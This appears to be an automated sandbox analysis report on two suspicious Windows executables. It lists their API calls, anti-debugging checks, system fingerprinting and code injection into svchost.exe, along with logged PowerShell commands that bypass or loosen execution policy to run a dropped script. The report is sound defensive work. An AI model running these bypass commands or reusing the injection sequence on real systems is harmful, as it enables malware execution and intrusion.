Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0337DF10 Sleep,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,Sleep,RegOpenKeyExW,RegQueryValueExW,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	1_2_0337DF10
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0337F00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0337F00A
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03381F67 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_03381F67
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BD6815 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00BD6815
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BD8587 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00BD8587
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B9A44A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00B9A44A
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B94647 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00B94647
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B9116F __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00B9116F
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B918F6 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00B918F6
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF38207 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_6BF38207
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF384D6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_6BF384D6
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF47A51 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_6BF47A51
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDDE1EA _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_6CDDE1EA
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B94647 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00B94647
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B9116F _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00B9116F
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B918F6 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00B918F6

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_033777E0 Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread,

1_2_033777E0

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

1_2_033777E0

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\SysWOW64\svchost.exe		1_2_033777E0
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe		1_2_033777E0

Source: C:\Users\user\Desktop\wyySetups64.exe	Process created: C:\Users\user\AppData\Roaming\wyySetups64.exe "C:\Users\user\AppData\Roaming\wyySetups64.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1	Jump to behavior

Source: 360instpatch.exe, 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmp, sites.dll.8.dr	Binary or memory string: gShell_traywnd.
Source: wyySetups64.exe, 00000001.00000003.1901055660.0000000004412000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .168.2.4 0 min066656Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free3 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager
Source: wyySetups64.exe, 00000001.00000003.4113626803.0000000004475000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .168.2.4 0 min066656Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free2 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager
Source: 360instpatch.exe	Binary or memory string: Shell_traywnd

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: 8_2_00B165C0 cpuid

8_2_00B165C0

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,	1_2_03375430
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_00BA7AB2
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: GetLocaleInfoA,	8_2_00BBC813
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP,	8_2_00BA7569
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s,	8_2_00BA7AEE
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_00BA7A4B
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: GetLocaleInfoA,	8_2_6BF4C53B
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: GetLocaleInfoA,	8_2_6CDF6445
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s,	8_2_6CDF60BA
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_6CDF607E
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_6CDF6017
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	8_2_6CDF7C17

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\{4E37D1B0-FC9E-4af1-8227-2DAA098CDF46}.tmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\{D699128A-3414-4fdc-A2BD-B3D2CDE19B93}.tmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\{9AE51E5B-D986-4b47-9A8E-7D0F888610BF}.tmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
